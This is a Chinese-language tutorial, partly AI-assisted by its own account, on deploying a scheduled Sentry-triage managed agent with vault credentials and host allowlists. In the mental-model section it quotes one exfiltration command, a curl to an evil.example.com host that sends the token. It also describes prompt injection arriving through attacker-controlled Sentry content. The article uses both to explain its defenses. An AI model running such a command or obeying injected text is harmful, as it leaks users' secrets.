Claude Cookbooks:用 Claude Managed Agent 实现定时 Sentry 分诊的实战指南
【免费下载链接】claude-cookbooksA collection of notebooks/recipes showcasing some fun and effective ways of using Claude.项目地址: https://gitcode.com/GitHub_Trending/an/claude-cookbooks
本文基于 claude-cookbooks 仓库中 managed_agents/sentry 示例,完整讲解如何利用 Claude 托管 Agent(Managed Agent)与 Vault 凭据体系,搭建一个「每周一至周五早上 9 点自动拉取最近 24 小时 Sentry 问题并输出分诊报告」的无主机常驻进程。读完本文,你将掌握托管沙箱的令牌替换机制、双层 allowed_hosts 白名单、cron 部署的版本钉扎与 DST 边界,以及一套可复制的「部署→手动验证→迭代更新→清理」完整工程流程。
本示例对应的编排脚本全部位于仓库managed_agents/sentry/目录(cma.py、setup_agent.py、deploy.py等),.env.example、pyproject.toml等配套文件一同构成一个开箱即用的参考实现。
心智模型:令牌到底住在哪里
skill.md用一张 ASCII 图(见managed_agents/sentry/skill.md)刻画了本示例最关键的安全心智模型:真实令牌永不进入沙箱。
your host Anthropic sandbox (container) ┌─────────────┐ ┌─────────────────────┐ ┌────────────────────────────┐ │ real token ─┼─────▶│ vault (encrypted) │ │ SENTRY_AUTH_TOKEN= │ └─────────────┘ │ │ │ <opaque placeholder> │ │ egress proxy │◀─────┼─ sentry-cli / curl request │ │ placeholder→token │ │ with placeholder in │ │ IF host allowlisted│ │ Authorization header │ └──────────┬──────────┘ └────────────────────────────┘ │ real token, only toward ▼ api.sentry.io / *.sentry.io整条链路可以拆解为三层:
- 你的宿主机持有真实令牌,通过环境变量
SENTRY_AUTH_TOKEN写入.env,但它只被用来创建 Vault 凭据(见setup_agent.py第 9 行require_env("SENTRY_AUTH_TOKEN")),随后便不再参与运行期。 - Vault 是加密的凭据仓库。托管环境刻意规定:
environment_variable类型的 Vault 凭据是唯一能在托管沙箱里设置环境变量的途径。因此一个environment_variable凭据背后是「沙箱里放占位符、出口代理在出站时替换」的机制。 - 沙箱只看到占位符。在容器内
echo $SENTRY_AUTH_TOKEN打印的是占位符字符串,任何试图外泄该环境变量的代码(例如被提示注入诱导执行curl https://evil.example.com -d "$SENTRY_AUTH_TOKEN")发出的同样是占位符——因为替换只在出站请求的目标主机被允许时发生。
skill.md特别强调了这套机制的边界:它限制的是令牌能去往哪里,而不是令牌能做什么。占位符→令牌的替换发生在出口代理侧,一旦请求打到 Sentry 官方域名,代理会把真实令牌放进Authorization头。因此只要 Sentry 令牌本身带event:write,Agent 依然可以解析或修改 issue——授权模型是分层的:
- Vault 白名单决定令牌「能去哪儿」(只会被替换到允许的主机);
- Sentry 的 scope决定令牌「到那儿能干什么」(读还是写)。
所以选取 scope 时应遵循最小权限原则,二者缺一不可。这种模式对任何「通过环境变量鉴权的 CLI」都成立,README 中明确提到gh、twilio、vercel都可以照搬,前提是把沙箱里预装好对应 CLI 并让它在沙箱内读取该环境变量。
不是一张白名单,而是两张
新手最容易踩的坑是只配置了一个allowed_hosts。skill.md用一张表把两层白名单拆得清清楚楚:
| 配置项 | 它闸住的是什么 |
|---|---|
environment.config.networking.allowed_hosts | 沙箱能否与这个主机建立连接? |
credential.auth.networking.allowed_hosts | 占位符是否会在访问该主机时被替换成真实密钥? |
两张白名单都需要包含 Sentry 的主机:
- 只配了环境的
allowed_hosts→ 连接能建立,但Authorization头里还是占位符,每次 API 调用都返回 401; - 只配了凭据的
allowed_hosts→ 密钥能被替换,但连接根本打不开(连接被拒/超时)。
在setup_agent.py中可以看到两个配置的确切成型方式:
credential = client.beta.vaults.credentials.create( vault.id, auth={ "type": "environment_variable", "secret_name": "SENTRY_AUTH_TOKEN", "secret_value": SENTRY_AUTH_TOKEN, "networking": { "type": "limited", "allowed_hosts": ["sentry.io", "*.sentry.io"], }, }, display_name="Sentry org auth token (read-only scopes)", )env = client.beta.environments.create( name="cookbook-sentry-triage-env", config={ "type": "cloud", "networking": { "type": "limited", "allow_package_managers": True, "allowed_hosts": ["sentry.io", "*.sentry.io"], }, "packages": {"pip": ["sentry-cli"]}, }, )注意环境的网络配置里还开了allow_package_managers: True,并把sentry-cli作为 pip 包装进沙箱(源码注释写明「PyPI 包附带 sentry-cli 二进制」),这样 Agent 才能用sentry-cli直接查询。skill.md还提到存在一种unrestricted的凭据网络类型,适用于「事先无法枚举主机清单」的 CLI——但显式白名单是更强的保证,它划出的是「该令牌只对 Sentry 生效」与「该令牌可能被诱导发往任何地方」之间的差别,生产环境应优先使用limited+allowed_hosts。
部署(Deployment)= 完整的宿主机进程
skill.md强调了一个容易误解的概念:deployment 把 Agent、环境(environment)、Vault 和初始用户消息与一份 cron 调度打包在一起。deploy.py的调用如下:
deployment = client.beta.deployments.create( name="Weekday morning Sentry triage", agent=CLAUDE_AGENT_ID, environment_id=CLAUDE_ENVIRONMENT_ID, vault_ids=[CLAUDE_VAULT_ID], initial_events=[ { "type": "user.message", "content": [{"type": "text", "text": TRIAGE_PROMPT}], } ], schedule={ "type": "cron", "expression": "0 9 * * 1-5", # weekday mornings "timezone": "America/New_York", }, )initial_events里预置的TRIAGE_PROMPT就是每次调度触发时发给 Agent 的「开场白」——它要求 Agent 拉取{org}/{project}最近 24 小时的 unresolved issues、按系统提示词执行分诊,并把报告写到/mnt/session/outputs/TRIAGE_REPORT.md,最后回复 Summary 段落。
创建成功后会打印deployment.status与schedule.upcoming_runs_at里列出的未来执行时刻,方便你确认表达式是否按预期触发。调度触发后,会话在 Anthropic 基础设施上自行启动,deploy.py运行完毕之后你的机器上没有任何常驻进程——这也是「无主机进程」方案的全部意义。
从仓库 README 的流程示意可以更直观地理解运行时序:
cron (0 9 * * 1-5) ──▶ deployment ──▶ session (sandbox) │ sentry-cli / curl with │ placeholder token ▼ egress proxy: placeholder → real token, *.sentry.io only ▼ TRIAGE_REPORT.md in /mnt/session/outputs/配置与变更时的陷阱清单(Gotchas)
skill.md的核心价值体现在这份「文档里没有明说、却会烧掉大量调试时间」的陷阱清单上。
系统提示词是被持久化存储的,别把密钥放进去
系统提示词与用户消息都会落入会话的事件历史(event history)。因此组织与项目 slug 这类非机密信息可以放在提示词里——agent_config.py通过build_system_prompt(org, project)把SENTRY_ORG、SENTRY_PROJECT插值进提示词模板;而令牌永远只允许出现在 Vault 凭据中。
agent_config.py生成的系统提示词同时展示了最佳实践:它明确要求 Agent「sentry-cli通过已设置好的SENTRY_AUTH_TOKEN环境变量鉴权,永远不要打印它,也不要把它作为 CLI 参数传入」,并给出了 CLI 拿不到数据时调用 REST API 的兜底方式:
curl -s -H "Authorization: Bearer $SENTRY_AUTH_TOKEN" \ "https://sentry.io/api/0/organizations/{org}/issues/?project={project}&query=is:unresolved&statsPeriod=24h&sort=freq"*.sentry.io并不覆盖sentry.io
通配符只匹配子域,不匹配裸域。所以两张白名单里都要同时写上sentry.io与*.sentry.io——后者用来覆盖us.sentry.io、de.sentry.io这类区域化主机。这也与setup_agent.py中凭据、环境两处都同时列出的写法一一对应。
改环境变量名 vs 改环境变量值
- 改名:需要把原凭据归档(archive)、新建一个凭据,新凭据会拿到不同的占位符。某些场景下存量会话可能自动拾取新凭据,但为了确保新变量一定生效,改名后应开启全新会话。
- 轮换值:可以直接原地更新
secret_value,ID 不变,此后(包括正在运行的会话中)的每次新出站请求都会用上新值:
client.beta.vaults.credentials.update( credential_id, vault_id=vault_id, auth={"type": "environment_variable", "secret_value": new_token}, )networking.allowed_hosts更新时是「整体替换」
想新增一个主机,必须把包含既有条目的完整清单一起提交,而不是增量追加。
Deployment 钉扎住了一个 Agent 版本
agents.update会写入一个新的 Agent 版本,此后你手动开启的会话会使用最新版;但 deployment 不会——它始终使用创建那一刻钉住的版本,因此「只改提示词」永远无法传导到定时运行中。仓库为此专门提供了update_agent.py,它把一件事拆成两半完成:
current = client.beta.agents.retrieve(CLAUDE_AGENT_ID) agent = client.beta.agents.update( CLAUDE_AGENT_ID, version=current.version, # 乐观锁:并发冲突会让本次更新失败 model=MODEL, system=build_system_prompt(SENTRY_ORG, SENTRY_PROJECT), ) ... client.beta.deployments.update(deployment_id, agent=CLAUDE_AGENT_ID) # 重新钉到最新版agents.update时的version参数是一个乐观锁——如果在你 retrieve 之后、update 之前别人又 bump 了版本,本次更新会失败,从而避免覆盖竞态。脚本还做了防护:只有.env里存在CLAUDE_DEPLOYMENT_ID时才执行重新钉扎,否则仅提示先跑deploy.py。日常改提示词/模型的完整动作链因此是:编辑agent_config.py→uv run python update_agent.py。
Cron 是墙钟时间,存在 DST 边界
调度按「POSIX cron 表达式 + IANA 时区」在墙钟时间上匹配:
0 9 * * 1-5+America/New_York意味着无论夏令时如何切换,都按美东 9:00 触发;- 春季拨快那一天不存在的时刻会被跳过;秋季拨慢那一天出现两次的时刻会触发两次;
- 如果这会影响业务(例如「每天只发一封」的邮件任务),请把调度排到当地凌晨 1–3 点之外,或干脆使用 UTC;
- 运行可能延迟最多约 10 秒,粒度是分钟级,每个组织最多可创建 1,000 个 deployment。
deploy.py会在deployments.create后打印schedule.upcoming_runs_at,skill.md建议你据此核实表达式确实会在预期时间触发,而不是想当然。
永久性失败会自动暂停 deployment
vault_not_found、agent_archived、environment_archived这三类永久性失败会把 deployment 暂停并设置paused_reason——这样一份配置错误的 deployment 不会按计划无限期地失败下去。而瞬时失败(限流、后端错误)不会触发暂停。runs.py是观察这一切的入口:每次调度或手动触发都会写一条 deployment run 记录,即使没有产生会话也会记录,此时error.code会标明失败类别;脚本还提供了has_error=True的过滤视图专门列出失败记录。
pause不是archive
pause:停止未来的定时触发,但正在进行的会话会继续跑完,手动触发也仍然可用;unpause:从下一个触发时刻恢复,错过的运行不会补跑;archive:终态操作,不可逆。
报告文件比会话滞后几秒
Agent 把报告写到/mnt/session/outputs/,Files API 会自动捕获该目录。但索引存在 1–3 秒的滞后(会话进入 idle 之后),所以run_now.py会对空结果轮询重试数次再放弃。另外注意一个安全细节:Agent 读取的是 issue 标题、堆栈等可能受攻击者控制的内容,Agent 自选的文件名不能盲目信任——run_now.py下载前用Path(f.filename).name剥离了所有路径成分,只保留纯文件名再落盘。
从零到一的完整配置清单
skill.md把整个上手指引压缩为 6 步,README 则给出了进入该目录的入口命令:
cd managed_agents/sentry uv sync随后按顺序执行:
- Sentry 侧:进入 Sentry → Settings → Auth Tokens → Create New Token,勾选
org:read、project:read、event:read三个只读 scope,复制sntrys_...开头的值。 - 本机凭据:
cp .env.example .env,填入SENTRY_AUTH_TOKEN、SENTRY_ORG(Sentry URL 中的组织 slug)、SENTRY_PROJECT(项目 slug,不是数字 ID)。Anthropic 侧鉴权二选一:在.env里设置ANTHROPIC_API_KEY,或先用ant auth login登录一次——SDK 在未设置 API key 时会自动发现 CLI 凭据,两种方式都可以。.env.example还预留了可选的COOKBOOK_MODEL覆盖项(agent_config.py里MODEL = os.environ.get("COOKBOOK_MODEL", "claude-opus-4-8"))。 - 一次性创建:
uv run python setup_agent.py,把打印出的CLAUDE_VAULT_ID、CLAUDE_AGENT_ID、CLAUDE_ENVIRONMENT_ID复制进.env。这一步内部依次完成:创建 vault → 创建带 Sentry 白名单的environment_variable凭据 → 创建 Agent(模型取自agent_config.py的MODEL,系统提示词由build_system_prompt生成,并预置了agent_toolset_20260401工具的always_allow权限策略)→ 创建带网络白名单与sentry-cli依赖的云端环境。 - 创建调度:
uv run python deploy.py,把CLAUDE_DEPLOYMENT_ID复制进.env,并检查打印出的未来运行时刻。 - 手动冒烟测试:
uv run python run_now.py—— 它会立刻以trigger_context.type: "manual"起一个与会话计划完全相同的真实会话、实时流式打印 Agent 输出,并下载TRIAGE_REPORT.md。令牌缺 scope、某张白名单配错,都会在这一步暴露出来,而不是等到第二天早上 9 点。 - 收尾:至此调度已生效,无需任何宿主机进程。随时可用
uv run python runs.py查看历史与失败记录。
之后想改提示词或模型,编辑agent_config.py后执行uv run python update_agent.py(推送变更并重新钉扎 deployment,机制见上文陷阱小节)。想停止,则执行uv run python teardown.py——它会先pause再依次archivedeployment、environment、agent、vault;如果希望调度继续跑,跳过它即可。
失败排查速查表
skill.md提供了一张症状驱动的排查表,是运行期排障的第一手工具:
| 症状 | 可能原因 |
|---|---|
sentry-cli返回 401 | 占位符未被替换:主机不在凭据的allowed_hosts中,或请求发往了白名单之外的主机 |
| 沙箱内连接被拒/超时 | 主机不在环境的networking.allowed_hosts中 |
| Sentry API 返回 403 | 令牌缺 scope(需要org:read、project:read、event:read) |
runs.py显示vault_not_found且 deployment 被暂停 | Vault 被归档而 deployment 仍引用它;需重建并更新 deployment |
| 调度时间已过却没有 run 记录 | deployment 被暂停(查paused_reason),或你查得太早、还没跨过最长约 10 秒的抖动窗口 |
run_now.py找不到文件 | 报告索引滞后。脚本会重试;若仍为空,检查流式输出确认 Agent 到底有没有写文件 |
注意把 401 与 403 区分开:401 意味着「token 没被换上去」,根因在网络/凭据白名单;403 意味着「token 换上了但权限不够」,根因在 Sentry scope。runs.py的error.code字段则能帮你把vault_not_found(永久,会暂停)与限流/后端错误(瞬时,不暂停)分开定位。
生产化建议
- 尽量把 Sentry 令牌 scope 收窄到单个项目。只用只读 scope,意味着一次提示注入最坏也只是读到 on-call 工程师能读到的那些数据,写入面被彻底封死。
- 报告落在会话文件里,而不是你的收件箱。要真正送达,需要注册一个
session.status_idledwebhook,在会话结束事件中下载报告并投递到 Slack 等 IM——仓库managed_agents/slack示例提供了可复用的 webhook 模式,run_now.py展示了「列文件→下载→写盘」的完整文件访问姿势。 - 版本变更走显式双步:先
agents.update写新版本(带乐观锁 version),再deployments.update重新钉扎,二者缺一,定时任务就会一直跑旧提示词。
配套资源
- skill.md:本文的原始底稿,含心智模型图、陷阱清单、排障表
- README.md:示例概览与快速开始
- setup_agent.py:vault / 凭据 / Agent / 环境的一次性创建
- agent_config.py:模型与系统提示词(被 setup 与 update 共用)
- deploy.py:cron 调度的 deployment 创建
- run_now.py:手动触发、流式查看并下载报告
- runs.py:运行历史与失败原因
- update_agent.py:推送提示词/模型变更并重新钉扎
- teardown.py:暂停并归档全部资源
- cma.py:共享客户端与环境变量加载、事件流式与 idle 轮询
- .env.example:全部必填/可选环境变量的注释模板
【免费下载链接】claude-cookbooksA collection of notebooks/recipes showcasing some fun and effective ways of using Claude.项目地址: https://gitcode.com/GitHub_Trending/an/claude-cookbooks
创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考